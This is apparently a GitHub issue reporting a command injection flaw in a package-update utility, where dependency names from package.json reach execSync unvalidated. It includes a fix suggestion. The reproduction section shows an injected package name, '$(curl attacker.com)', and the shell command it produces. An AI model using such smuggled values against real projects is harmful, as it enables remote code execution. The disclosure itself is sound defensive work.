Skip to content

[BUG] updateAllPackages missing command injection protection present in updateSinglePackage #1205

@CrepuscularIRIS

Description

@CrepuscularIRIS

Bug Description

updateAllPackages() concatenates package names from package.json directly into shell commands passed to execSync() without validation. The sibling function updateSinglePackage() validates package names against a regex (/^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/), but updateAllPackages() does not.

Location

packages/core/src/utils/update/index.ts:335-369

Reproduction

If a package.json contains a tampered dependency name (e.g., via a malicious PR or dependency confusion):

{
  "dependencies": {
    "@voltagent/core": "^1.0.0",
    "@voltagent/exploit$(curl attacker.com)": "^1.0.0"
  }
}

When the update check runs, updateAllPackages at line 337 maps this to:

@voltagent/exploit$(curl attacker.com)@latest

At line 348, this becomes:

pnpm add @voltagent/exploit$(curl attacker.com)@latest

Which is passed to execSync(command, ...) at line 369, executing the injected command.

Impact

Command injection if package.json is tampered with. This requires a prior compromise of the package.json (e.g., via malicious PR, supply chain attack, or developer machine compromise), making it a P1 severity — not directly exploitable from an HTTP endpoint, but a missing defense-in-depth where the sibling function already has the fix.

Suggested Fix

Apply the same validation that updateSinglePackage already uses:

const isValidPackageName = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/;

const packagesToUpdate = updateCheckResult.updates
  .filter((pkg) => pkg.type !== "latest")
  .filter((pkg) => isValidPackageName.test(pkg.name))  // Add this line
  .map((pkg) => `${pkg.name}@latest`);

Or better yet, extract the validation into a shared helper used by both functions.


Found via codebase analysis. Happy to submit a PR if confirmed.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions